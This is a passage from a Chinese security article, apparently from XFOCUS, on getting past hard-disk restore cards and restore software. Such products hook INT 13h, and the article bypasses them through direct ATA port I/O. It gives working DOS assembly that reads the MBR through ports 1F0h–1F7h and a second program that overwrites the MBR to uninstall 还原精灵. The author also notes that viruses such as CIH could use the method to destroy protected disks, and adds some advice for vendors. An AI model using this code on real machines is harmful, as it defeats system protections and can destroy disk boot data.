📄 一种可以穿透还原卡和还原软件的代码.htm
字号:
;命令端口<BR>mov
al,20h ;
尝试读取扇区<BR>out dx,al<BR>still_going:<BR>in al,dx<BR>test
al,8 ;扇区缓冲是否准备好<BR>jz
still_going
;如果扇区缓冲没有准备好的话则跳转,直到准备好才向下执行。<BR><BR>mov
cx,512/2 ;设置循环次数(512/2次)<BR>mov
di,offset buffer<BR>mov
dx,1f0h
;将要传输的一个字节的数据<BR>rep insw ;传输数据<BR><BR>;
------<BR><BR>mov
ax,201h
;以下是用INT13H读硬盘的0磁头、0柱面、1扇区<BR>mov
dx,80h<BR>mov cx,1<BR>mov
bx,offset buffer2<BR>int
13h<BR><BR>mov
cx,512
;以下部分用来比较2种方法读出的硬盘数据<BR>mov si,offset
buffer<BR>mov di,offset
buffer2<BR>repe
cmpsb<BR>jne failure<BR>mov
ah,9<BR>mov dx,offset
readmsg<BR>int 21h<BR>jmp
good_exit<BR>failure:<BR>mov
ah,9<BR>mov dx,offset
failmsg<BR>int
21h<BR>good_exit: ;以下部分用来结束程序<BR>mov ax,4c00h ;退出程序<BR>int 21h<BR><BR>readmsg
db 'The buffers match. Hard
disk read using ports.$'<BR>failmsg
db 'The buffers do not
match.$'<BR>buffer db 512
dup ('V')<BR>buffer2 db 512 dup
('L')<BR><BR>五、可以穿透还原卡或是还原软件保护的代码<BR>你可以对照硬盘读写端口含义表,再好好看看上面的例子,你将会对硬盘读写端口有一个比较深的理解。好了,到了该把谜底揭晓的时候了,重新回到我们的主题。正如你现在想象的,这种可以穿透还原卡或是还原软件保护的代码的确是对硬盘读写端口的输入输出操作。现在,我们已经可以从原理上理解了,还原卡拦截的是中断操作,但却拦截不了输入输出操作,而用输入输出操作足够可以对硬盘进行写操作了,当然用输入输出操作也完全可以读到被虚拟还原程序屏蔽的关键部分,被还原卡或是还原软件屏蔽的0头0道1扇。知道了这一原理以后,可能是仁者见仁智者见智的,如果你是一个虚拟还原技术的破解者、一个病毒制造者,或是虚拟还原技术的设计者,往往对此的理解都是不尽相同的。<BR>在此强调我不赞成制造病毒,但一个病毒制造者完全可以用此原理写出一个可以实现破坏装有还原卡或还原软件的机器了,所以我要提醒虚拟还原用户的是,不要以为装有还原卡或是还原软件就掉以轻心,要知道世界上还是有病毒能够穿透虚拟还原技术的保护,达到破坏硬盘的目的的,想象一下如果把这一原理运用到CIH病毒中,或者运用到硬盘杀手病毒中,其后果是不堪设想的。<BR>谈谈如何用这种可以穿透虚拟还原技术的代码来破解还原软件(如还原精灵)吧。以下是我写的用来测试破解还原精灵的代码,本代码编译后的程序需要在纯DOS环境执行,在DOS下我用这段代码成功的把还原精灵给卸载了。<BR>.286<BR>CODE
SEGMENT<BR> ASSUME
CS:CODE,DS:code,ES:code<BR>START:<BR>;----------------------------------------------------------<BR>;以下代码用INT13H读主引导区<BR>mov
ax,0201h<BR>mov
dx,0080h<BR>mov
cx,0001h<BR>mov
bx,7c00h<BR>int 13h<BR>;---------------------------------------------------------<BR>;以下代码用I/O端口来写主引导区<BR>mov
dx,1f6h ;
要读入的磁盘号及磁头号<BR>mov
al,0a0h ; 磁盘0,磁头0
<BR>out dx,al<BR><BR>mov
dx,1f2h ;
要写的扇区数量<BR>mov
al,1 ;
写一个扇区<BR>out dx,al<BR><BR>mov
dx,1f3h
;要写的扇区号<BR>mov
al,1 ;写到1扇区<BR>out dx,al<BR><BR>mov
dx,1f4h ;
要写的柱面的低8位<BR>mov
al,0 ;
低8位为0<BR>out dx,al<BR><BR>mov
dx,1f5h ;
要写的柱面的高2位<BR>mov
al,0 ;
高2位为0<BR>out dx,al<BR><BR>mov
dx,1f7h
;命令端口<BR>mov
al,30h ;尝试着写扇区.<BR>out dx,al<BR>oogle:<BR>in
al,dx<BR>test al,8 ;磁盘扇区缓冲是否准备好<BR>jz
oogle<BR><BR>mov
cx,512/2 ;设置循环次数(512/2)<BR>mov
si,7c00h<BR>mov
dx,1f0h
;数据端口,用来存放要发送的数据.<BR>rep outsw
;发送数据.<BR>;
------------------------------------------------------------------------------<BR>;退出程序<BR>mov
ah,4ch<BR>int 21<BR>CODE
ENDS<BR> END
START<BR>上面的程序非常简单,说明如下:<BR>1、先把被还原精灵备份的原来的主引导区用INT13H读出来,这里虽然是对0头0道1扇进行读操作,但实际上是在读被还原精灵把原来的主引导区备份进去的那个扇区;<BR>2、把读出的原来的主引导区通过输入输出操作写进真正的主引导区,换句话说就是把还原精灵给彻底删除了,此时重新启动你将发现还原精灵已经没有了。<BR>我写了个FORWIN98/NT/XP的卸载还原精灵等软件的程序,大家可到<A
href="http://www.lsky.net/"
target=_blank>http://www.lsky.net/</A>下载,不过已经有人先我一步了,那就是网吧终结者出的一个清MBR的程序,我试了一下,发现的确有用,我还没有仔细分析该程序,但我敢肯定其原理差不多。那个程序写得不错,不过我认为有一点需要改进,我的硬盘的MBR程序是我自己写的,用来实现多引导操作,当我执行完该清MBR程序后,我的多引导代码就没了,我觉得此程序如果能把核心代码部分改成象我以上的代码,在还原精灵下是把装还原精灵之前的MBR写回到主引导区,即使没装还原精灵的硬盘也只是把主引导区写回主引导区,就没有任何的危险了。<BR>用以上的方法要实现还原卡的破解可能是不行的,因为还原卡毕竟是硬件,它可以先于硬盘引导前执行,这样即使你写回了硬盘的主引导区,还原卡还是可以把它写回的,但是,在破解还原卡的时候,完全可以利用文章中的原理,把还原卡写入硬盘主引导区的真正代码读出进行分析,甚至有些还原卡的密码就在这个扇区中。<BR>
对于还原卡和还原软件的制造者来说,如何让您制造的还原卡或还原软件更安全,可能是一个需要思考的问题。真心希望以后的还原卡或是还原软件在拦截INT13H的同时也能拦截硬盘I/O操作。<BR>在我安装还原精灵的时候看到一个选项是“防止硬盘I/O破坏”,开始还以为还原精灵在这方面做的不错,想到了从拦截I/O操作来保护硬盘。可惜我错了,即使选择这一个选项,也同样可以通过输入输出端口操作来写硬盘。对于掌握了这种技术的人来说,这种还原卡或是还原软件可以说是形同虚设。因此我认为,还原卡和还原软件不但要实现拦截所有硬盘写操作、拦截对主引导区的读写操作,更应该拦截对硬盘的读写端口的操作,只有这样的虚拟还原技术才可能使基于硬盘的读写端口操作所对硬盘的破坏或是对虚拟还原技术的破解变成不可能。
</TD></TR></TBODY></TABLE>
<DIV class=footer>Copyright © 1998-2003 XFOCUS Team. All Rights Reserved
</DIV></BODY></HTML>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -